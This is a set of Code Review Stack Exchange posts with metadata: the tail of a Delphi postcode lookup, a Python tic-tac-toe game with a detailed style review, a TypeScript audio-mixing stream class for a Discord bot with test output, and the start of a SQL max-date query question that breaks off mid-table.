do begin if GetNum(LBox[i]) &gt; GetNum(LBox[j]) then begin LBox.Exchange(i,j); end; end; LBox.Text:=slq.Text+LBox.Text; finally slq.free; end; end; procedure TBtnPost.FindPcode(astr:string); var sl:TStringList; slx:TStringList; x, y, z, ps, ct:Integer; s, t, q:string; begin sl:=TStringList.Create; slx:=TStringList.Create; try for x:= 0 to IndexList.Count-1 do begin if astr=LeftTillStr(IndexList[x],',') then sl.add(RightAfterChStr(IndexList[x],',')); end; if sl.Count= 0 then begin ShowMessage('Postcode not found'); Aedit.clear; Aedit.SetFocus; Exit; end; for y := 0 to sl.Count-1 do begin FileList.Clear; FileList.LoadFromFile(FilesPath+sl[y]); for z := 0 to FileList.Count-1 do begin if Pos(astr,FileList[z])&gt;0 then slx.Add(FileList[z]); end; end; ListSort(slx); RawList.Clear; RawList.Text:=slx.Text; for x:= 0 to slx.Count-1 do begin s:=slx[x]; ct:=0; q:=''; repeat ps:=Pos(',',s); t:=LeftStr(s,ps-1); if ((t&lt;&gt;'') and (t&lt;&gt;' ')) then begin q:=q+t+' '; ct:=ct+1; end; Delete(s,1,ps); until ((ct=3) or (Length(s)&lt;=1)); alist.Items.Add(q); end; finally sl.Free; slx.Free; end; end; procedure TBtnPost.MakeMemo(Num:integer); var s, w, z, Aline:string; sl:TStringList; x, acol, ps:Integer; begin sl:=TStringList.Create; try s:=RawList[num]; Aline:=s; sl.Text:=StringReplace(s,',',#13#10,[rfReplaceAll]); x:=0; for x := sl.count - 1 downto 0 do begin if Trim(sl[x]) = '' then sl.Delete(x); end; x:=0; repeat if Length(sl[x])&lt;7 then begin sl[x]:=sl[x]+' '+sl[x+1]; sl.Delete(x+1);; end; x:=x+1; until x=sl.Count-1; dset.Close; dset.EmptyTable; dset.Open; acol:=0; dset.Insert; dset.Edit; w:=Aline+','; repeat ps:=Pos(',',w); z:=''; z:=LeftStr(w,ps-1); dset.Fields[acol].AsString:=z; Delete(w,1,ps); acol:=acol+1; until ((Length(w)&lt;=1) or (acol=9)); FAddress.Text:=sl.Text; SetAddress(FAddress); dset.Edit; dset.Post; finally sl.Free; end; end; end. </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T12:20:48.283", "Id": "253502", "Score": "2", "Tags": [ "delphi" ], "Title": "type in a Postcode and get the address" }
253502
<p>I wrote a Tic-Tac-Toe game for two players, where each player uses the same keyboard. It's not a school project or anything, I just thought this would be fun to code for practice.</p> <p>I'm open to and looking for any sort of feedback. Do the comments contain sufficient detail to understand the code? Are the functions separated into their individual mechanisms/purposes properly? Is it, overall, a decently written algorithm?</p> <pre><code>import random #initialization board_arr = [1, 2, 3, 4, 5, 6, 7, 8, 9] users = ['X', 'O'] user = random.choice(users) winner = None def print_board_horizontal(): #print horizontal line (part of print board functions) print(&quot;-+-+-&quot;) def print_board_numbered(b): &quot;&quot;&quot;Print board_arr with slots numbered b: board array &quot;&quot;&quot; print(&quot;\n&quot;*3) #buffer lines print(str(b[0]) + &quot;|&quot; + str(b[1]) + &quot;|&quot; + str(b[2])) print_board_horizontal() print(str(b[3]) + &quot;|&quot; + str(b[4]) + &quot;|&quot; + str(b[5])) print_board_horizontal() print(str(b[6]) + &quot;|&quot; + str(b[7]) + &quot;|&quot; + str(b[8])) print(&quot;\n&quot;*3) #buffer lines def print_board(b): &quot;&quot;&quot;Print board_arr b: board array &quot;&quot;&quot; m = purge_board_of_int(b) print(&quot;\n&quot;*3) #buffer lines print(str(m[0]) + &quot;|&quot; + str(m[1]) + &quot;|&quot; + str(m[2])) print_board_horizontal() print(str(m[3]) + &quot;|&quot; + str(m[4]) + &quot;|&quot; + str(m[5])) print_board_horizontal() print(str(m[6]) + &quot;|&quot; + str(m[7]) + &quot;|&quot; + str(m[8])) print(&quot;\n&quot;*3) #buffer lines def purge_board_of_int(b): &quot;&quot;&quot;returns copy of board list with all integers replaced with empty spaces; returns list b: board array &quot;&quot;&quot; _copy = b.copy() for e in range(len(_copy)): if type(_copy[e]) == int: _copy[e] = &quot; &quot; return _copy def user_turn(b, u): &quot;&quot;&quot;Reads user's move input and modified the game board list appropriately b: board list u: user &quot;&quot;&quot; print(&quot;It is&quot;, u + &quot;'s turn&quot;) #prompt user slot = -1 while type(slot) is not int or slot &lt; 0 or slot &gt;= len(b) or type(b[slot]) == str: try: slot = int(input(&quot;Type a numbered slot: &quot;))-1 if slot &lt; 0 or slot &gt;= len(b) or type(b[slot]) == str: print(&quot;Invalid input&quot;) except: print(&quot;Invalid input&quot;) #update board b[slot] = u def switch_turn(u): &quot;&quot;&quot;Change current user turn (O or X); returns string of user u: user &quot;&quot;&quot; if u == &quot;O&quot;: return &quot;X&quot; else: return &quot;O&quot; def check_winner(b, u): &quot;&quot;&quot;Check if there is currently a winner; returns string of user (O or X) b: board array u: user &quot;&quot;&quot; grid = len(b) // 3 #check verticals, if 3 in a row (covered==3) current user wins for x in range(grid): covered = 0 for y in range(x, len(b), grid): if b[y] == u: covered += 1 if covered &gt;= grid: return u #check horizontals, if 3 in a row (covered==3) current user wins for y in range(0, len(b), grid): covered = 0 for x in range(y, y+grid, 1): if b[x] == u: covered += 1 if covered &gt;= grid: return u #diagonal from left, if 3 in a row (covered==3) current user wins covered = 0 for i in range(0, 9, 4): if b[i] == u: covered += 1 if covered &gt;= grid: return u #diagonal from right, if 3 in a row (covered==3) current user wins covered = 0 for i in range(2, 7, 2): if b[i] == u: covered += 1 if covered &gt;= grid: return u #main loop while winner == None: print_board_numbered(board_arr) #print numbered board print_board(board_arr) #print board strictly containing user input user_turn(board_arr, user) #prompt player input and modify board user = switch_turn(user) #switch user's turn winner = check_winner(board_arr, switch_turn(user)) #check if last user's input won #win whooo!! print_board(board_arr) print(winner, &quot;wins!&quot;) <span class="math-container">```</span> </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T11:45:40.723", "Id": "499965", "Score": "1", "body": "@Billal why did you remove the `import`? Even though just once, it is still being used..." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T11:47:08.410", "Id": "499966", "Score": "0", "body": "Because it can be subject to code review, just as code formatting is. But I accepted your other part of the review" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T12:53:49.257", "Id": "499967", "Score": "0", "body": "Use f-strings, my friend." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T16:56:28.527", "Id": "499981", "Score": "1", "body": "Welcome to Code Review! Please do not update the code in your question to incorporate feedback from answers, doing so goes against the Question + Answer style of Code Review. This is not a forum where you should keep the most updated version in your question. Please see [What should I do when someone answers my question?](https://codereview.stackexchange.com/help/someone-answers) as well as [_what you may and may not do after receiving answers_](http://meta.codereview.stackexchange.com/a/1765)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T17:03:26.440", "Id": "499982", "Score": "1", "body": "@BillalBegueradj That import was in [the original revision](https://codereview.stackexchange.com/posts/253507/revisions#rev-arrow-8da43f0e-31b6-4eba-988d-6b447507785b), on the same line as the opening code fence (where the language specifier can be). I have restored this, lest the code be seen as incomplete." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T17:18:57.913", "Id": "499984", "Score": "0", "body": "Thank you @SᴀᴍOnᴇᴌᴀ" } ]
[ { "body": "<h1>What's done well:</h1>\n<ul>\n<li>Your function names are nice and fairly descriptive.</li>\n<li>Besides a few things (below), your formatting is good and consistent.</li>\n<li>You're following proper naming conventions</li>\n<li>You have doc-strings that give a basic idea of what each function does.</li>\n</ul>\n<h1>What can be improved:</h1>\n<ul>\n<li><p>You have an odd mix of good names, and poor, single-character names. All your parameter names should have descriptive names. Good parameter names are important since they're implicitly a part of the function's documentation. When someone <kbd>ctrl</kbd>+<kbd>q</kbd>'s your function, the parameter names, along with the doc-string, are what will show up. They should be thoroughly descriptive.</p>\n</li>\n<li><p>You're only using 2-space indentation. PEP8 <a href=\"https://www.python.org/dev/peps/pep-0008/#indentation\" rel=\"noreferrer\">recommends 4-spaces though</a>, and I think you'll find that it's much easier to read anyway. More indentation makes it easier to differentiate between levels at a glance, which becomes increasingly helpful as the code gets longer.</p>\n</li>\n<li><p>Lines like this:</p>\n<pre><code>print(str(m[0]) + &quot;|&quot; + str(m[1]) + &quot;|&quot; + str(m[2]))\n</code></pre>\n<p>Can be neatened by making use of f-strings:</p>\n<pre><code>print(f&quot;{m[0]}|{m[1]}|{m[2]}&quot;)\n</code></pre>\n<p>or, by just using <code>print</code>'s capabilities directly, along with unpacking and slicing:</p>\n<pre><code>print(*m[0:3], sep=&quot;|&quot;)\nprint(*m[3:6], sep=&quot;|&quot;)\nprint(*m[6:9], sep=&quot;|&quot;)\n</code></pre>\n</li>\n<li><p><code>purge_board_of_int</code> can be greatly cleaned up:</p>\n<pre><code>def purge_board_of_int(b):\n return [&quot; &quot; if isinstance(e, int) else e for e in b]\n</code></pre>\n<p>The list comprehension produces a new list, so an explicit copy isn't necessary. From there, you can just pick what elements are put into the copy as it's being produced, instead of doing a full copy, then iterating it again to alter the elements.</p>\n</li>\n<li><p><code>switch_turn</code> is also fairly verbose. It can be simply:</p>\n<pre><code>def switch_turn(u):\n return &quot;X&quot; if u == &quot;O&quot; else &quot;O&quot;\n</code></pre>\n</li>\n<li><p><code>except:</code>: Never, ever, ever (unless you <strong>really</strong> know what you're doing), should you ever have a bare <code>except</code> like that. Never. It seems harmless until you accidentally introduce an error like an accidental <code>KeyError</code> inside the <code>try</code> block. A bare <code>except:</code> will catch <em>all errors</em>, even ones that you didn't intend for it to catch. When using <code>try</code>s, a couple good rules to follow are:</p>\n<ul>\n<li><p>The block inside of the <code>try</code> should wrap as few lines as possible. Only include in the <code>try</code> what you expect to throw, or would otherwise be infeasible to factor out.</p>\n</li>\n<li><p>The <code>except</code> should specify <strong>exactly</strong> the subclass of <code>Exception</code> that you expect to catch. This requires some thought, but is very important. <code>try</code> should be used to handle only the errors that you expect to be thrown, and are able to handle gracefully. If you aren't expecting it, or you aren't able to properly recover from it, you should not catch it<code>*</code>. Doing so will just cover up bugs, and lead to very difficult debugging down the road. If you're using that <code>try</code> to catch <code>ValueError</code>s thrown by <code>int</code>, specify that:</p>\n<pre><code>except ValueError:\n</code></pre>\n</li>\n</ul>\n<p>I'm stating this so strongly because I have been bitten <em>many</em> times by errors being swallowed. It's also extremely common on Stack Overflow to see people post questions along the lines of &quot;Help, my code's broken but I'm not getting any errors&quot;, and it turns out they have a <code>try</code> swallowing all helpful debugging information. Debugging without errors to help you is a hell I wouldn't wish on anyone. Put the thought in up front to save yourself headaches later.</p>\n<p><code>*</code> Except for cases where you want to log all unknown errors, crashing the entire program wouldn't be appropriate, and when you're able to safely restart/bypass whatever had failed.</p>\n</li>\n<li><p><code>while winner == None:</code>: It took me a second to realize how <code>winner</code> would ever be <code>None</code> after the first iteration. You're relying on the implicit returning of <code>None</code>, which isn't a good idea. A good rule of thumb: if you explicitly <code>return</code> a value inside of a function, you should not rely on implicit <code>return None</code>. Why? When I'm reading your code, I want it to be clear what is returned in what case. There is no <code>return None</code> in that function though, so I'm left guessing &quot;Did they accidentally miss potential case, and the <code>None</code> being returned is a bug, or is it intentional?&quot;. Make it clear that <code>None</code> is a valid value to be returned from that function by putting an explicit <code>return None</code> is the exact case that you want to return <code>None</code>. Don't make your reader guess, and don't allow yourself to forget that you're relying on that behavior when you inevitably modify the function later.</p>\n</li>\n<li><p>The more common way of checking the type of an object is: <code>isinstance(obj, SomeType)</code>. I actually don't know off-hand if it has any benefits over reference equality checks on the type using <code>is</code>, but I personally find it more readable.</p>\n</li>\n</ul>\n<h1>An oddity:</h1>\n<ul>\n<li><code>while type(slot) is not int . . .:</code>: I can't see how <code>slot</code> would ever not be an <code>int</code>. It starts as <code>-1</code> (an <code>int</code>), and the only other place it's assigned is <code>slot = int(...</code>, which means it must be given an <code>int</code> there as well. That checks seems to be useless.</li>\n</ul>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T00:37:27.660", "Id": "253521", "ParentId": "253507", "Score": "6" } } ]
{ "AcceptedAnswerId": "253521", "CommentCount": "6", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T16:37:27.943", "Id": "253507", "Score": "4", "Tags": [ "python", "python-3.x", "game", "tic-tac-toe" ], "Title": "Tic Tac Toe Shared Keyboard Game" }
253507
<p><strong>Edit: This has a bug that I didn't discover initially. I've opened an <a href="https://github.com/nodejs/help/issues/3128" rel="nofollow noreferrer">issue</a> in the nodejs/help github. I'm not sure what that means for this post.</strong></p> <p>I am creating a discord music playing bot using <a href="https://discord.js.org/#/" rel="nofollow noreferrer">Discord.js</a>.</p> <p>I want to enable features like crossfading or overlaying tracks.</p> <p>To accomplish this, I wrote a <code>Mixer extends Readable</code> class. Essentially, it is a N-to-1 <code>Transform</code> stream. 1 &lt; N &lt; 10 usually.</p> <p>It takes in as many <code>Readable</code> PCM 2-channel 16-bit audio streams as you want, lines up their frames, and outputs the combined samples.</p> <p>I got it working after much effort and learning about streams, but I still am not confident I got it 100% right. There are sometimes very small hiccups in the audio.</p> <h2>Questions</h2> <p>Here are the questions I am focused on, although any input is much appreciated:</p> <ol> <li>Am I correctly respecting backpressure?</li> <li>Am I leaking memory somewhere?</li> <li>Are there any egregious wastes of time/memory? I was more focused on correctness than performance, but it does still need to play realtime audio.</li> <li>Am I calling <code>_process</code> at the right times? Am I calling it too often?</li> <li>Edit: It is not robust - after running for a while, only parts of each chunk seem to be playing. So it plays 1 second of audio, skips forwards, and plays another second.</li> </ol> <h2>Code</h2> <p>If you like, you can checkout the entire <a href="https://gitlab.com/MHebes/dnd-music-bot/-/tree/rewrite-index" rel="nofollow noreferrer">discord bot</a> (commit: <code>d206e9aa</code>) and follow the README to try out the music playing capabilities. Just join a voice channel and type <code>!p &lt;url&gt;</code> for two different URLs. The bot should join your voice channel and start playing both songs.</p> <p>Otherwise, here is the standalone <code>Mixer</code> class (set <code>mixer.debugPrint = true</code> for very verbose debug output). Requires <code>npm i typescript @types/node</code>.</p> <p><code>mixer.ts</code></p> <pre class="lang-js prettyprint-override"><code>import { Readable, ReadableOptions } from &quot;stream&quot;; const CHANNELS = 2; const BIT_DEPTH = 16; const SAMPLE_BYTES = BIT_DEPTH / 8; const FRAME_BYTES = SAMPLE_BYTES * CHANNELS; const SAMPLE_MAX = Math.pow(2, BIT_DEPTH - 1) - 1; const SAMPLE_MIN = -SAMPLE_MAX - 1; /** * Combines 16-bit 2-channel PCM audio streams into one. * * Usage: * * const mixer = new Mixer() * * mixer.addInput(somePCMAudioStream) * mixer.addInput(anotherPCMAudioStream) * * mixer.pipe(yourAudioPlayer) * * // remove one of the streams after 2 seconds * setTimeout(() =&gt; mixer.removeInput(somePCMAudioStream), 2000) */ class Mixer extends Readable { // list of input streams, buffers, and event handlers (for cleanup) private inputs: { stream: Readable | null; buffer: Buffer; name: string; ondata: (chunk: Buffer) =&gt; void; onend: () =&gt; void; }[] = []; // each sample is multiplied by this private gainMultiplier; // true when _read() is called, false when this.push() later returns false private thirsty = false; readonly mixerHighWaterMark; debugPrint = false; constructor( opts?: ReadableOptions &amp; { gainDivide?: number; mixerHighWaterMark?: number; } ) { super(opts ? { highWaterMark: opts.highWaterMark } : undefined); this.mixerHighWaterMark = opts?.mixerHighWaterMark ?? this.readableHighWaterMark; this.gainMultiplier = opts?.gainDivide ? 1 / opts.gainDivide : 1; } private log(message?: any, ...optionalParams: any[]) { if (this.debugPrint) { console.log(message, ...optionalParams); } } /** * Called by Readable.prototype.read() whenever it wants more data */ _read() { this.log(&quot;_read&quot;); this.thirsty = true; // we need data so resume any streams that don't have a bunch already this.inputs.forEach((v) =&gt; { if (v.buffer.length &lt; this.mixerHighWaterMark) { if (v.stream) { this.log( ` Resuming ${v.name}, need more data (have ${v.buffer.length})` ); v.stream?.resume(); } else { this.log( ` Would resume ${v.name} but it's removed (have ${v.buffer.length})` ); } } }); // have to do this in case all our streams are removed, but there's still // some buffers hanging around this._doProcessing(); } /** * Adds a stream to the list of inputs. * * @param name is just for debug info */ addInput(stream: Readable, name: string) { this.log(`+ Adding ${name}`); const obj = { stream: stream, buffer: Buffer.allocUnsafe(0), name: name, ondata: (chunk: Buffer) =&gt; { this.log( ` Got ${chunk.length} data for ${name}, (${obj.buffer.length} =&gt; ${ chunk.length + obj.buffer.length })` ); // this handler is only called when the downstream is thirsty so the // streams were all resumed obj.buffer = Buffer.concat([obj.buffer, chunk]); this._doProcessing(); if (obj.buffer.length &gt;= this.mixerHighWaterMark) { // we couldn't keep processing, but we have a lot of data for this // particular input buffer, so we pause it until we need to _read // again this.log( ` Pausing ${name}, have enough (have ${obj.buffer.length})` ); stream.pause(); } }, onend: () =&gt; { this.log(` end ${name}`); this.removeInput(stream); }, }; // These are removed in removeInput, so we don't keep getting data events // if a user decides to remove an input mid-stream stream.on(&quot;data&quot;, obj.ondata); stream.once(&quot;end&quot;, obj.onend); // stream.pause(); this.inputs.push(obj); } /** * Removes streams, but not necessarily buffers (so they can be used up first) */ removeInput(stream: Readable) { this.inputs.forEach((v) =&gt; { if (v.stream === stream) { this.log(` (delayed) Removing ${v.name}, short length`); v.stream.removeListener(&quot;data&quot;, v.ondata); v.stream.removeListener(&quot;end&quot;, v.onend); v.stream = null; } }); this._doProcessing(); } /** * Schedules several _process() calls for the next event loop. * * Schedules it async so that streams have a chance to emit &quot;end&quot; (and get * dropped from the input list) before we process everything. * * @param cb invoked when processing completes */ private _doProcessing() { while (this._process()) {} } /** * Calculates the sum for the first N bytes of all input buffers, where N is * equal to the length of the shortest buffer. * * @return true if you should call _process again because there's more data * to process (sort of like this.push()) */ private _process(): boolean { if (!this.thirsty) return false; this.log(&quot;Processing...&quot;); // get the shortest buffer and remove old inputs let shortest = Infinity; this.inputs = this.inputs.filter((v) =&gt; { if (v.stream === null &amp;&amp; v.buffer.length &lt; FRAME_BYTES) { this.log(`- (fufilled) Removing ${v.name}`); return false; } else { shortest = Math.min(shortest, v.buffer.length); return true; } }); if (this.inputs.length === 0) { this.log(&quot;Length 0, stop processing&quot;); return false; } if (shortest &lt; FRAME_BYTES) { this.log( ` Shortest (${this.inputs .filter((v) =&gt; v.buffer.length === shortest) .map((v) =&gt; v.name) .join()}) is too small, stop processing` ); return false; // don't keep processing, we don't have data } const frames = Math.floor(shortest / FRAME_BYTES); const out = Buffer.allocUnsafe(frames * FRAME_BYTES); // sum up N int16LEs for (let f = 0; f &lt; frames; f++) { const offsetLeft = FRAME_BYTES * f; const offsetRight = FRAME_BYTES * f + SAMPLE_BYTES; let sumLeft = 0; let sumRight = 0; this.inputs.forEach((v) =&gt; { sumLeft += this.gainMultiplier * v.buffer.readInt16LE(offsetLeft); sumRight += this.gainMultiplier * v.buffer.readInt16LE(offsetRight); }); this.log( ` (left) ${this.inputs .map((v) =&gt; { const x = v.buffer.readInt16LE(offsetLeft); return `${x} &lt;0x${x.toString(16).padStart(4, &quot;0&quot;)}&gt;`; }) .join(&quot; + &quot;)} = ${sumLeft} &lt;0x${sumLeft .toString(16) .padStart(4, &quot;0&quot;)}&gt;` ); this.log( ` (right) ${this.inputs .map((v) =&gt; { const x = v.buffer.readInt16LE(offsetRight); return `${x} &lt;0x${x.toString(16).padStart(4, &quot;0&quot;)}&gt;`; }) .join(&quot; + &quot;)} = ${sumRight} &lt;0x${sumRight .toString(16) .padStart(4, &quot;0&quot;)}&gt;` ); out.writeInt16LE( Math.min(SAMPLE_MAX, Math.max(SAMPLE_MIN, sumLeft)), offsetLeft ); out.writeInt16LE( Math.min(SAMPLE_MAX, Math.max(SAMPLE_MIN, sumRight)), offsetRight ); } // shorten all buffers by N this.inputs.forEach( (v) =&gt; (v.buffer = v.buffer.slice(FRAME_BYTES * frames)) ); // keep processing if we can push more... this.log(&quot;Trying push!&quot;); const ret = this.push(out); if (!ret) { this.thirsty = false; this.inputs.forEach((v) =&gt; v.stream?.pause()); } return ret; } _destroy() { this.inputs.forEach((v) =&gt; { v.stream?.removeListener(&quot;data&quot;, v.ondata); v.stream?.removeListener(&quot;end&quot;, v.onend); v.stream?.pause(); }); this.inputs = []; } } export default Mixer; </code></pre> <p>And here is a simple test file (requires <code>npm i stream-buffers @types/stream-buffers</code>). You can play around with the <code>addInput</code> stuff at the bottom to see how it affects the behavior of <code>Mixer</code>.</p> <p>(note: the linked repo's <code>npm test</code> command just runs this file)</p> <p><code>test.ts</code></p> <pre class="lang-js prettyprint-override"><code>import { stdout } from &quot;process&quot;; import { Transform } from &quot;stream&quot;; import * as streamBuffers from &quot;stream-buffers&quot;; import Mixer from &quot;./mixer&quot;; const x = new streamBuffers.ReadableStreamBuffer({ frequency: 300, // in milliseconds. chunkSize: 3, // in bytes. }); const y = new streamBuffers.ReadableStreamBuffer({ frequency: 400, // in milliseconds. chunkSize: 7, // in bytes. }); const z = new streamBuffers.ReadableStreamBuffer({ frequency: 500, // in milliseconds. chunkSize: 13, // in bytes. }); /** * Generates a range of easily-identifiable-in-hex numbers * 0x${sixteens}0, 0x${sixteens}1, 0x${sixteens}2, etc. */ const range = (sixteens: number, n = 16) =&gt; { let b = []; for (let i = 0; i &lt; n; i++) b[i] = sixteens * 0x10 + (i % 0x10); return b; }; x.put(Buffer.from(range(0, 16))); x.stop(); y.put(Buffer.from(range(1, 32))); y.stop(); z.put(Buffer.from(range(2, 32))); z.stop(); /** * Converts buffer to comma-separated list of 16-bit LE ints. */ const bufferStr = (buf: Buffer) =&gt; { const s = []; for (let i = 0; i &lt; Math.floor(buf.length / 2); i++) { s.push(buf.readInt16LE(i * 2).toString()); } return s.join(&quot;, &quot;); }; /** * Returns transform that prints int16LEs */ const stringify = () =&gt; { const transform = new Transform(); transform._transform = (chunk: Buffer, encoding, cb) =&gt; { transform.push(bufferStr(chunk)); transform.push(&quot;\n&quot;); cb(); }; return transform; }; const mixer = new Mixer({ mixerHighWaterMark: 7 }); mixer.debugPrint = true; setTimeout(() =&gt; mixer.addInput(x, &quot;x&quot;), 1000); // mixer.addInput(x, &quot;x&quot;); // setTimeout(() =&gt; mixer.removeInput(x), 3000); // setTimeout(() =&gt; mixer.addInput(y, &quot;y&quot;), 5000); mixer.addInput(y, &quot;y&quot;); // setTimeout(() =&gt; mixer.addInput(z, &quot;z&quot;), 10000); mixer.addInput(z, &quot;z&quot;); mixer.pipe(stringify()).pipe(stdout); process.on(&quot;SIGINT&quot;, () =&gt; exit_handler()); process.on(&quot;SIGTERM&quot;, () =&gt; exit_handler()); let exited = false; function exit_handler() { if (!exited) { console.log(&quot;Exiting&quot;); x.destroy(); y.destroy(); z.destroy(); } exited = true; } </code></pre> <h2>Example output</h2> <p>This was made using <code>npm test</code> (the above file):</p> <pre><code>+ Adding y + Adding z _read Resuming y, need more data (have 0) Resuming z, need more data (have 0) Processing... Shortest (y,z) is too small, stop processing Got 7 data for y, (0 =&gt; 7) Processing... Shortest (z) is too small, stop processing Pausing y, have enough (have 7) Got 13 data for z, (0 =&gt; 13) Processing... (left) 4368 &lt;0x1110&gt; + 8480 &lt;0x2120&gt; = 12848 &lt;0x3230&gt; (right) 4882 &lt;0x1312&gt; + 8994 &lt;0x2322&gt; = 13876 &lt;0x3634&gt; Trying push! 12848, 13876 Processing... Shortest (y) is too small, stop processing Pausing z, have enough (have 9) _read Resuming y, need more data (have 3) Processing... Shortest (y) is too small, stop processing Got 7 data for y, (3 =&gt; 10) Processing... (left) 5396 &lt;0x1514&gt; + 9508 &lt;0x2524&gt; = 14904 &lt;0x3a38&gt; (right) 5910 &lt;0x1716&gt; + 10022 &lt;0x2726&gt; = 15932 &lt;0x3e3c&gt; (left) 6424 &lt;0x1918&gt; + 10536 &lt;0x2928&gt; = 16960 &lt;0x4240&gt; (right) 6938 &lt;0x1b1a&gt; + 11050 &lt;0x2b2a&gt; = 17988 &lt;0x4644&gt; Trying push! 14904, 15932, 16960, 17988 Processing... Shortest (z) is too small, stop processing _read Resuming y, need more data (have 2) Resuming z, need more data (have 1) Processing... Shortest (z) is too small, stop processing + Adding x Got 13 data for z, (1 =&gt; 14) Processing... Shortest (x) is too small, stop processing Pausing z, have enough (have 14) Got 7 data for y, (2 =&gt; 9) Processing... Shortest (x) is too small, stop processing Pausing y, have enough (have 9) Got 3 data for x, (0 =&gt; 3) Processing... Shortest (x) is too small, stop processing Got 3 data for x, (3 =&gt; 6) Processing... (left) 7452 &lt;0x1d1c&gt; + 11564 &lt;0x2d2c&gt; + 256 &lt;0x0100&gt; = 19272 &lt;0x4b48&gt; (right) 7966 &lt;0x1f1e&gt; + 12078 &lt;0x2f2e&gt; + 770 &lt;0x0302&gt; = 20814 &lt;0x514e&gt; Trying push! 19272, 20814 Processing... Shortest (x) is too small, stop processing _read Resuming y, need more data (have 5) Resuming x, need more data (have 2) Processing... Shortest (x) is too small, stop processing Got 7 data for y, (5 =&gt; 12) Processing... Shortest (x) is too small, stop processing Pausing y, have enough (have 12) Got 3 data for x, (2 =&gt; 5) Processing... (left) 4368 &lt;0x1110&gt; + 8480 &lt;0x2120&gt; + 1284 &lt;0x0504&gt; = 14132 &lt;0x3734&gt; (right) 4882 &lt;0x1312&gt; + 8994 &lt;0x2322&gt; + 1798 &lt;0x0706&gt; = 15674 &lt;0x3d3a&gt; Trying push! 14132, 15674 Processing... Shortest (x) is too small, stop processing _read Resuming z, need more data (have 6) Resuming x, need more data (have 1) Processing... Shortest (x) is too small, stop processing Got 6 data for z, (6 =&gt; 12) Processing... Shortest (x) is too small, stop processing Pausing z, have enough (have 12) end z (delayed) Removing z, short length Processing... Shortest (x) is too small, stop processing Got 3 data for x, (1 =&gt; 4) Processing... (left) 5396 &lt;0x1514&gt; + 9508 &lt;0x2524&gt; + 2312 &lt;0x0908&gt; = 17216 &lt;0x4340&gt; (right) 5910 &lt;0x1716&gt; + 10022 &lt;0x2726&gt; + 2826 &lt;0x0b0a&gt; = 18758 &lt;0x4946&gt; Trying push! 17216, 18758 Processing... Shortest (x) is too small, stop processing _read Resuming y, need more data (have 4) Resuming x, need more data (have 0) Processing... Shortest (x) is too small, stop processing Got 4 data for y, (4 =&gt; 8) Processing... Shortest (x) is too small, stop processing Pausing y, have enough (have 8) end y (delayed) Removing y, short length Processing... Shortest (x) is too small, stop processing Got 3 data for x, (0 =&gt; 3) Processing... Shortest (x) is too small, stop processing Got 1 data for x, (3 =&gt; 4) Processing... (left) 6424 &lt;0x1918&gt; + 10536 &lt;0x2928&gt; + 3340 &lt;0x0d0c&gt; = 20300 &lt;0x4f4c&gt; (right) 6938 &lt;0x1b1a&gt; + 11050 &lt;0x2b2a&gt; + 3854 &lt;0x0f0e&gt; = 21842 &lt;0x5552&gt; Trying push! 20300, 21842 Processing... Shortest (x) is too small, stop processing _read Would resume y but it's removed (have 4) Would resume z but it's removed (have 4) Resuming x, need more data (have 0) Processing... Shortest (x) is too small, stop processing end x (delayed) Removing x, short length Processing... - (fufilled) Removing x (left) 7452 &lt;0x1d1c&gt; + 11564 &lt;0x2d2c&gt; = 19016 &lt;0x4a48&gt; (right) 7966 &lt;0x1f1e&gt; + 12078 &lt;0x2f2e&gt; = 20044 &lt;0x4e4c&gt; Trying push! 19016, 20044 Processing... - (fufilled) Removing y - (fufilled) Removing z Length 0, stop processing _read Processing... Length 0, stop processing </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T20:57:23.933", "Id": "253515", "Score": "1", "Tags": [ "node.js", "stream", "audio" ], "Title": "NodeJS stream.Readable implementation to combine PCM audio streams" }
253515
<p>The following SQL code keeps only the MAX(<em>date</em>) rows with the same <em>id</em> and <em>question</em> values. I would like to know if there is a simpler/ shorter syntax returning the same result.</p> <pre><code>with tbl_src as (select * from `tests2.o1.mc` order by id, date), tbl_max_date as ( select id, question, MAX(date) as max_date from `tests2.o1.mc` group by id, question ) select tbl_src.* from tbl_src inner join tbl_max_date on tbl_src.id = tbl_max_date.id and tbl_src.question = tbl_max_date.question and tbl_src.date = tbl_max_date.max_date </code></pre> <p>The original data:</p> <div class="s-table-container"> <table class="s-table"> <thead> <tr> <th>id</th> <th>date</th> <th>question</th> <th>answers</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>2018-03-21</td> <td>q1</td> <td>&quot;[&quot;&quot;n1&quot;&quot;,&quot;&quot;n3&quot;&quot;]&quot;</td> </tr> <tr> <td>1</td> <td>2018-12-10</td> <td>q1</td> <td>&quot;[&quot;&quot;n1&quot;&quot;,&quot;&quot;n2&quot;&quot;,&quot;&quot;n3&quot;&quot;]&quot;</td> </tr> <tr> <td>1</td> <td>2018-03-21</td> <td>q2</td> <td>&quot;[&quot;&quot;N1&quot;&quot;,&quot;&quot;n3&quot;&quot;]&quot;</td> </tr> <tr> <td>1</td> <td>2018-12-10</td> <td>q2</td> <td>&quot;[&quot;&quot;n1&quot;&quot;,&quot;&quot;n3&quot;&quot;]&quot;</td> </tr> <tr> <td>1</td> <td>2018-03-21</td> <td>q3</td> <td>&quot;[&quot;&quot;N1&quot;&quot;]&quot;</td> </tr> <tr> <td>1</td> <td>2018-12-10</td> <td>q3</td> <td>&quot;[&quot;&quot;n2&quot;&quot;]&quot;</td> </tr> <tr> <td>2</td> <td>2018-03-29</td> <td>q1</td> <td>&quot;[&quot;&quot;n1&quot;&quot;,&quot;&quot;n3&quot;&quot;]&quot;</td> </tr> <tr> <td>2</td> <td>2018-06-01</td> <td>q1</td> 